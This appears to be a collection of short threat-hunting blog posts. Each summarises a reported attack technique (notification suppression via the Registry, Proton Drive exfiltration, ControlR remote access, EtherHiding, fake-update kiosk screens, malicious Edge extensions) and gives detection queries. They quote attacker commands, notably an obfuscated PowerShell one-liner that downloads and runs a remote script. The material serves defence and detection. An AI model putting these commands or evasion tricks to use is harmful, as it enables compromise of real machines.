Know Your Adversary

Hello everyone! It's been a while since we talked about interesting techniques involving Windows Registry modifications. Time to fix that! Today we'll take a look at Cruciferra , a crypter that was analyzed in detail by Proofpoint in a recent report . The malware modifies the following Registry values: ToastEnabled in Software\Microsoft\Windows\CurrentVersion\PushNotifications Balloon in Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced ShowInfoTip in Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced These Registry values control various user notifications. By modifying them, attackers can suppress notifications displayed to the victim, including alerts generated by security software. This gives defenders several additional opportunities to detect potentially malicious activity: event_type: "registryvaluesetwin" AND reg_key_path: ("toastenabled" OR "balloon" OR "showinfotip") See you soon!

Hello everyone! Today, data exfiltration has become a standard stage in almost every ransomware attack. While threat actors often rely on the same set of tools, there are occasional exceptions. According to an Arctic Wolf Labs report , operators behind the Qilin ransomware used Proton Drive for data exfiltration. Proton Drive is a cloud storage service developed by the Swiss company Proton and designed with privacy in mind. Its key feature is end-to-end encryption, meaning files are encrypted on the user's device before they are uploaded to the cloud. Of course, Proton Drive can be used legitimately within enterprise environments. However, it can also serve as an early indicator of ransomware activity, making it a useful candidate for threat hunting. event_type: "processcreatewin" AND proc_file_productname: "Proton Drive" See you soon!

Hello everyone! Today we're looking at another example of the Remote Desktop Software technique (T1219.002) . Notably, the remote access tool leveraged by the threat actor is currently not included in the LOLRMM project. According to a report from Seqrite, the ShadowRecruit campaign distributed archive files containing multiple components, including a malicious Windows shortcut (LNK), a PowerShell script, and an executable. Execution of the LNK file resulted in the launch of PowerShell, which, among other actions, downloaded and executed the installer for the legitimate remote access software ControlR. Once installed, ControlR could be abused by the threat actor as either a primary or fallback channel for persistent remote access to the compromised host. One approach to detecting this activity is to identify network communications with ControlR infrastructure: event_type: "dnsreqwin" AND dns_rname: "controlr.app" Another option is to hunt for evidence of Contr...

Hello everyone! Threat actors continue to actively use the EtherHiding technique, and today we'll look at another example of it in action. According to a report by LevelBlue , the attackers distributed malicious shortcut (.LNK) files. Interacting with these shortcuts resulted in the execution of an obfuscated PowerShell command, for example: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c $Se4n4GmJ=[System.Numerics.BigInteger]\7330349723455890650683895074414054;$fobLzAK0=[System.Numerics.BigInteger]\5070886814366709789648062014091648;$YrXdQd=$Se4n4GmJ - $fobLzAK0;for($bwusN=100+156;$YrXdQd -ne 0;$YrXdQd=$YrXdQd / $bwusN){$JZwuEnBA+=[char]\([int]\($YrXdQd % $bwusN));};iwr $JZwuEnBA -OutFile $env\:TEMP\lFdlPb.ps1 -UseBasicParsing; powershell -ep bypass -File $env\:TEMP\lFdlPb.ps1 Notice that the obfuscation leverages the BigInteger type, which by itself provides an opportunity for hunting: event_type: "processcreatewin" AND proc_file_path: "powe...

Hello everyone! Today we'll look at another interesting example of how attackers abuse the browser. This time, they used it to distract the victim. According to this report , to distract the user and buy the time needed for their scripts to execute properly, the attackers used the service fakeupdate[.]net , which displays a fake Windows update screen. To do this, the attackers launched Microsoft Edge in kiosk mode: start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen Of course, attackers can host similar pages on their own servers. Nevertheless, this browser launch mode provides an opportunity to hunt for suspicious activity using the following detection logic: event_type: "processcreatewin" AND proc_file_path: "msedge.exe" AND cmdline: ("kiosk" AND "fullscreen") See you soon!

Hello everyone! Today we'll look at a less common persistence technique used on compromised systems: Browser Extensions (T1176.001) . According to this report , the attackers used Microsoft Teams while impersonating IT staff to convince victims to visit a phishing website. These phishing sites delivered malicious scripts written in AutoHotKey, Batch, or PowerShell. The script extracted all components of the malware, including a Python backdoor and a browser extension. It also created a scheduled task that launched Microsoft Edge with the following command-line arguments: --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\User Data\Recovery" --load-extension="%EXTENSION_DIR%" --no-first-run --disable-sync --headless=new As you can see, the attackers specified an alternative user data directory (--user-data-dir) and loaded a malicious browser extension (--load-extension). These command-line arguments can be used to hunt for suspicious activity: event_type: "proce...